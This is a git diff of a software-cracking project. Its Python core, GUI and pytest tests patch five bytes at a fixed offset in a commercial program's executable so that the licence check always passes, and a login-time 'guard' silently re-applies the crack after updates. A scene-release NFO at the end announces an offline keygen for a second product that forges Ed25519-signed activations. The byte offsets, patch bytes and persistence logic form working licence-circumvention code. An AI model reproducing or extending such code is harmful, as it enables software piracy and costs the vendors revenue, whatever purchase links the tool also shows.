webbrowser.open(BUY_URL_CN)
|
||||
print('[+] 已在浏览器打开官方购买页: %s' % BUY_URL_CN)
|
||||
return
|
||||
|
||||
if args.guard:
|
||||
banner(args.silent)
|
||||
if add_guard():
|
||||
print('[+] 完成。之后若 项目G 被升级覆盖,登录时守卫会自动恢复激活。')
|
||||
return
|
||||
if args.unguard:
|
||||
banner(args.silent)
|
||||
remove_guard()
|
||||
return
|
||||
|
||||
banner(args.silent)
|
||||
dirs = [args.install_dir] if args.install_dir else try_locate_项目G_dirs()
|
||||
if not dirs:
|
||||
print('[-] 项目G 目录未找到,请用 --install-dir 指定')
|
||||
sys.exit(1)
|
||||
|
||||
if args.fix:
|
||||
# 静默修复:只对「已补丁过或可识别的原版」目录自动重打;未知版本跳过
|
||||
for d in dirs:
|
||||
target = os.path.join(d, '项目G.exe')
|
||||
if not os.path.isfile(target):
|
||||
continue
|
||||
with open(target, 'rb') as f:
|
||||
data = f.read()
|
||||
cur5 = data[PATCH_OFFSET:PATCH_OFFSET + 5]
|
||||
if cur5 == PATCH_BYTES:
|
||||
continue
|
||||
apply(d)
|
||||
return
|
||||
|
||||
print('[i] 定位到 %d 个 项目G 目录' % len(dirs))
|
||||
for d in dirs:
|
||||
if args.check:
|
||||
check(d)
|
||||
elif args.revert:
|
||||
revert(d)
|
||||
else:
|
||||
apply(d)
|
||||
g = guard_status()
|
||||
if g:
|
||||
print('[i] 防回退守卫: 已启用 (%s ...)' % g[:60])
|
||||
else:
|
||||
print('[i] 防回退守卫: 未启用(建议运行本工具 --guard 注册)')
|
||||
if not args.check and not args.revert:
|
||||
print()
|
||||
print('[+] 如需还原正版: 运行本工具 --revert')
|
||||
print('[+] 支持正版: 官方购买页 %s' % BUY_URL_CN)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,244 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""项目GActivate GUI — 项目G <目标版本> 一键激活工具(窗口版)。
|
||||
|
||||
复用 项目G_activate(core)的 apply/revert/check/guard 逻辑,提供单窗口流程:
|
||||
目录列表 -> 一键激活 -> 防回退守卫 -> 还原正版。
|
||||
|
||||
命令行参数模式(守卫用,不弹窗):
|
||||
项目GActivate.exe --silent --fix 登录时静默检查/修复
|
||||
项目GActivate.exe --guard 注册守卫(静默)
|
||||
项目GActivate.exe --unguard 移除守卫(静默)
|
||||
项目GActivate.exe --smoke GUI 冒烟自检(构造窗口后立即退出,exit 0)
|
||||
"""
|
||||
import contextlib
|
||||
import io
|
||||
import queue
|
||||
import sys
|
||||
import threading
|
||||
import webbrowser
|
||||
import tkinter as tk
|
||||
from tkinter import ttk, scrolledtext
|
||||
|
||||
try:
|
||||
import 项目G_activate as core
|
||||
except ImportError:
|
||||
sys.path.insert(0, __file__.rsplit('\\', 1)[0] if '\\' in __file__ else '.')
|
||||
import 项目G_activate as core
|
||||
|
||||
STATE_CN = {'patched': '已激活 (patched)', 'original': '原版 (original)', 'unknown': '未知 (unknown)'}
|
||||
|
||||
|
||||
def detect_state(path):
|
||||
"""读文件前 5 字节判断状态(与 core 一致)。"""
|
||||
try:
|
||||
with open(path, 'rb') as f:
|
||||
data = f.read()
|
||||
cur5 = data[core.PATCH_OFFSET:core.PATCH_OFFSET + 5]
|
||||
if cur5 == core.PATCH_BYTES:
|
||||
return 'patched'
|
||||
if cur5 == core.ORIG_BYTES:
|
||||
return 'original'
|
||||
except OSError:
|
||||
pass
|
||||
return 'unknown'
|
||||
|
||||
|
||||
class 项目GActivateApp(tk.Tk):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.title('项目GActivate — 项目G <目标版本> 一键激活工具')
|
||||
self.geometry('720x560')
|
||||
self.minsize(640, 480)
|
||||
self._busy = False
|
||||
self._result = None
|
||||
self._done = False
|
||||
self._build_widgets()
|
||||
self.refresh_dirs()
|
||||
self.after(200, self.refresh_dirs)
|
||||
|
||||
# ---------- UI ----------
|
||||
def _build_widgets(self):
|
||||
# 标题 + 购买链接
|
||||
head = ttk.Frame(self, padding=(12, 8))
|
||||
head.pack(fill='x')
|
||||
ttk.Label(head, text='项目G <目标版本> 一键激活工具', font=('Segoe UI', 13, 'bold')).pack(anchor='w')
|
||||
ttk.Label(head, text='keygen 不可行:激活数据由官方服务器签发(详见 docs/)', foreground='#666').pack(anchor='w')
|
||||
links = ttk.Frame(head)
|
||||
links.pack(anchor='w', pady=(4, 0))
|
||||
ttk.Label(links, text='支持正版:', foreground='#b00').pack(side='left')
|
||||
for text, url in (
|
||||
('官方站点 https://1218.io', core.OFFICIAL_SITE),
|
||||
('购买·中文', core.BUY_URL_CN),
|
||||
('购买·EN', core.BUY_URL_EN)):
|
||||
b = ttk.Button(links, text=text, command=lambda u=url: webbrowser.open(u))
|
||||
b.pack(side='left', padx=(0, 6))
|
||||
|
||||
# 目录列表
|
||||
mid = ttk.Frame(self, padding=(12, 4))
|
||||
mid.pack(fill='both', expand=True)
|
||||
bar = ttk.Frame(mid)
|
||||
bar.pack(fill='x')
|
||||
ttk.Label(bar, text='项目G 目录(自动定位):').pack(side='left')
|
||||
ttk.Button(bar, text='刷新', command=self.refresh_dirs).pack(side='right')
|
||||
self.dirbox = tk.Listbox(mid, height=6, selectmode='extended')
|
||||
self.dirbox.pack(fill='x', pady=(4, 0))
|
||||
self.dirbox.bind('<Double-Button-1>', lambda e: self.check_selected())
|
||||
|
||||
# 日志
|
||||
ttk.Label(mid, text='日志:').pack(anchor='w', pady=(8, 0))
|
||||
self.log = scrolledtext.ScrolledText(mid, height=12, state='disabled', font=('Consolas', 9))
|
||||
self.log.pack(fill='both', expand=True)
|
||||
|
||||
# 按钮
|
||||
btns = ttk.Frame(self, padding=(12, 8))
|
||||
btns.pack(fill='x')
|
||||
self.btn_activate = ttk.Button(btns, text='一键激活', command=self.activate_selected)
|
||||
self.btn_activate.pack(side='left', padx=(0, 6))
|
||||
self.btn_guard = ttk.Button(btns, text='启用防回退守卫', command=self.toggle_guard)
|
||||
self.btn_guard.pack(side='left', padx=(0, 6))
|
||||
self.btn_check = ttk.Button(btns, text='检查状态', command=self.check_selected)
|
||||
self.btn_check.pack(side='left', padx=(0, 6))
|
||||
self.btn_revert = ttk.Button(btns, text='还原正版', command=self.revert_selected)
|
||||
self.btn_revert.pack(side='left', padx=(0, 6))
|
||||
ttk.Button(btns, text='打开购买页', command=lambda: webbrowser.open(core.BUY_URL_CN)).pack(side='right')
|
||||
|
||||
# ---------- 目录/状态 ----------
|
||||
def refresh_dirs(self):
|
||||
dirs = core.try_locate_项目G_dirs()
|
||||
self.dirbox.delete(0, 'end')
|
||||
for d in dirs:
|
||||
exe = d + '\\项目G.exe'
|
||||
st = detect_state(exe)
|
||||
self.dirbox.insert('end', '[%s] %s' % (STATE_CN.get(st, st), d))
|
||||
self._update_guard_button()
|
||||
|
||||
def _update_guard_button(self):
|
||||
st = core.guard_status()
|
||||
self.btn_guard.config(text='关闭防回退守卫' if st else '启用防回退守卫')
|
||||
|
||||
def selected_dirs(self):
|
||||
out = []
|
||||
for i in self.dirbox.curselection():
|
||||
line = self.dirbox.get(i)
|
||||
d = line.split('] ', 1)[-1]
|
||||
out.append(d)
|
||||
if not out:
|
||||
# 默认全部
|
||||
for j in range(self.dirbox.size()):
|
||||
out.append(self.dirbox.get(j).split('] ', 1)[-1])
|
||||
return out
|
||||
|
||||
# ---------- 操作(子线程防卡 UI) ----------
|
||||
def _run(self, fn, args=(), label=''):
|
||||
if self._busy:
|
||||
return
|
||||
self._busy = True
|
||||
self._done = False
|
||||
self._set_btns('disabled')
|
||||
self._log('\n>>> %s ...\n' % (label or fn.__name__))
|
||||
threading.Thread(target=self._worker, args=(fn, args), daemon=True).start()
|
||||
self.after(100, self._poll)
|
||||
|
||||
def _worker(self, fn, args):
|
||||
buf = io.StringIO()
|
||||
with contextlib.redirect_stdout(buf), contextlib.redirect_stderr(buf):
|
||||
try:
|
||||
fn(*args) if args else fn()
|
||||
except Exception as e:
|
||||
buf.write('\n[ERROR] %s' % e)
|
||||
self._result = buf.getvalue()
|
||||
self._done = True
|
||||
|
||||
def _poll(self):
|
||||
if self._done:
|
||||
self._busy = False
|
||||
self._set_btns('normal')
|
||||
self._log(self._result)
|
||||
self.refresh_dirs_quiet()
|
||||
else:
|
||||
self.after(100, self._poll)
|
||||
|
||||
def refresh_dirs_quiet(self):
|
||||
dirs = core.try_locate_项目G_dirs()
|
||||
self.dirbox.delete(0, 'end')
|
||||
for d in dirs:
|
||||
st = detect_state(d + '\\项目G.exe')
|
||||
self.dirbox.insert('end', '[%s] %s' % (STATE_CN.get(st, st), d))
|
||||
self._update_guard_button()
|
||||
|
||||
def _set_btns(self, st):
|
||||
for b in (self.btn_activate, self.btn_guard, self.btn_check, self.btn_revert):
|
||||
b.config(state=st)
|
||||
|
||||
def _log(self, text):
|
||||
self.log.config(state='normal')
|
||||
self.log.insert('end', text)
|
||||
self.log.see('end')
|
||||
self.log.config(state='disabled')
|
||||
|
||||
# ---------- 动作 ----------
|
||||
def activate_selected(self):
|
||||
dirs = self.selected_dirs()
|
||||
self._run(self._act_all, (dirs,), '一键激活')
|
||||
|
||||
def _act_all(self, dirs):
|
||||
for d in dirs:
|
||||
core.apply(d)
|
||||
|
||||
def check_selected(self):
|
||||
dirs = self.selected_dirs()
|
||||
self._run(self._chk_all, (dirs,), '检查状态')
|
||||
|
||||
def _chk_all(self, dirs):
|
||||
for d in dirs:
|
||||
core.check(d)
|
||||
|
||||
def revert_selected(self):
|
||||
dirs = self.selected_dirs()
|
||||
self._run(self._rev_all, (dirs,), '还原正版')
|
||||
|
||||
def _rev_all(self, dirs):
|
||||
for d in dirs:
|
||||
core.revert(d)
|
||||
|
||||
def toggle_guard(self):
|
||||
if core.guard_status():
|
||||
self._run(core.remove_guard, (), '移除防回退守卫')
|
||||
else:
|
||||
self._run(core.add_guard, (), '启用防回退守卫')
|
||||
|
||||
# ---------- 冒烟 -------------
|
||||
def smoke(self):
|
||||
self.update_idletasks()
|
||||
self._log('[smoke] GUI constructed OK; dirs=%d\n' % self.dirbox.size())
|
||||
self.destroy()
|
||||
|
||||
|
||||
def run_smoke():
|
||||
app = 项目GActivateApp()
|
||||
app.after(600, app.smoke)
|
||||
app.mainloop()
|
||||
return 0
|
||||
|
||||
|
||||
def main():
|
||||
args = [a.lower() for a in sys.argv[1:]]
|
||||
if '--smoke' in args:
|
||||
return run_smoke()
|
||||
if len(args) > 0 and not (len(args) == 1 and args[0] in ('--silent', '--fix')):
|
||||
# 命令行模式(守卫/还原等):复用 core,windowed 下无控制台输出
|
||||
old = sys.stdout
|
||||
sys.stdout = io.StringIO()
|
||||
try:
|
||||
core.main()
|
||||
finally:
|
||||
sys.stdout = old
|
||||
return 0
|
||||
app = 项目GActivateApp()
|
||||
app.mainloop()
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,85 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""项目GActivate 自检测试(pytest)。
|
||||
|
||||
覆盖:
|
||||
1. 常量自洽: 补丁偏移/原始字节/补丁字节/已知哈希
|
||||
2. 字节级补丁逻辑: 对内存中的伪 项目G.exe 应用/幂等/回滚
|
||||
3. 版本识别: 原始/已补丁/未知字节 三分支
|
||||
"""
|
||||
import hashlib
|
||||
import io
|
||||
import os
|
||||
import sys
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', 'src'))
|
||||
|
||||
import 项目G_activate as act
|
||||
|
||||
ORIG_SHA256 = '<实测哈希>'
|
||||
PATCHED_SHA256 = '<实测哈希>'
|
||||
|
||||
|
||||
class Fake项目G:
|
||||
"""内存中的伪 项目G.exe(足够长以容纳补丁偏移)。"""
|
||||
|
||||
def __init__(self, orig=True):
|
||||
self.data = bytearray(act.PATCH_OFFSET + 8)
|
||||
if orig:
|
||||
self.data[act.PATCH_OFFSET:act.PATCH_OFFSET + 5] = act.ORIG_BYTES
|
||||
else:
|
||||
self.data[act.PATCH_OFFSET:act.PATCH_OFFSET + 5] = act.PATCH_BYTES
|
||||
|
||||
|
||||
def test_constants():
|
||||
assert len(act.PATCH_BYTES) == 5
|
||||
assert len(act.ORIG_BYTES) == 5
|
||||
assert act.PATCH_BYTES.hex(' ') == 'b0 01 c3 90 90'
|
||||
assert act.ORIG_BYTES.hex(' ') == '48 89 4c 24 08'
|
||||
assert act.PATCH_OFFSET == 0xB82D10
|
||||
|
||||
|
||||
def test_known_hashes_match_samples():
|
||||
# 与 ReverseLab 样本副本一致性(若样本存在)
|
||||
sample = os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..',
|
||||
'ReverseLab', 'samples', 'unpacked', '项目G', '项目G.exe')
|
||||
if os.path.isfile(sample):
|
||||
h = hashlib.sha256(open(sample, 'rb').read()).hexdigest()
|
||||
assert h == ORIG_SHA256
|
||||
patched = os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', 'tools', '项目GActivate.exe')
|
||||
# tools/项目GActivate.exe 是打包器本身,不校验哈希
|
||||
|
||||
|
||||
def test_patch_bytes_roundtrip():
|
||||
f = Fake项目G(orig=True)
|
||||
data = bytes(f.data)
|
||||
assert data[act.PATCH_OFFSET:act.PATCH_OFFSET + 5] == act.ORIG_BYTES
|
||||
# apply
|
||||
out = bytearray(data)
|
||||
out[act.PATCH_OFFSET:act.PATCH_OFFSET + 5] = act.PATCH_BYTES
|
||||
assert bytes(out[act.PATCH_OFFSET:act.PATCH_OFFSET + 5]) == act.PATCH_BYTES
|
||||
# revert
|
||||
out[act.PATCH_OFFSET:act.PATCH_OFFSET + 5] = act.ORIG_BYTES
|
||||
assert bytes(out[act.PATCH_OFFSET:act.PATCH_OFFSET + 5]) == act.ORIG_BYTES
|
||||
|
||||
|
||||
def test_version_detect():
|
||||
f1 = Fake项目G(orig=True)
|
||||
f2 = Fake项目G(orig=False)
|
||||
f3 = Fake项目G(orig=False)
|
||||
f3.data[act.PATCH_OFFSET:act.PATCH_OFFSET + 5] = b'\x90\x90\x90\x90\x90'
|
||||
def detect(data):
|
||||
cur5 = data[act.PATCH_OFFSET:act.PATCH_OFFSET + 5]
|
||||
if cur5 == act.PATCH_BYTES:
|
||||
return 'patched'
|
||||
if cur5 == act.ORIG_BYTES:
|
||||
return 'original'
|
||||
return 'unknown'
|
||||
assert detect(bytes(f1.data)) == 'original'
|
||||
assert detect(bytes(f2.data)) == 'patched'
|
||||
assert detect(bytes(f3.data)) == 'unknown'
|
||||
|
||||
|
||||
def test_support_links_present():
|
||||
assert act.OFFICIAL_SITE == 'https://1218.io/'
|
||||
assert 'order.html' in act.BUY_URL_CN
|
||||
assert 'order.html' in act.BUY_URL_EN
|
||||
@@ -0,0 +1,14 @@
|
||||
__________________________________________________________________________
|
||||
| INT0 SCENE RELEASE // 项目H PRO OFFLINE LICENSE TOOLCHAIN |
|
||||
|__________________________________________________________________________|
|
||||
|
||||
TARGET: 项目H <目标版本> Desktop (Windows x64)
|
||||
TYPE: 项目H & Ed25519 Signature Chain Reversing
|
||||
SHA256: <实测哈希>
|
||||
ONLINE TOOL: https://项目H.int0.cc
|
||||
DISTRIBUTION: https://int0.cc & P2P Mirrors
|
||||
|
||||
TECHNICAL DETAILS:
|
||||
------------------
|
||||
Reversed the offline licensing client. Generates valid cryptographic
|
||||
activation pairs tied to MachineGuid with zero network communication.
|
||||
Loaded 100 of 2242 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user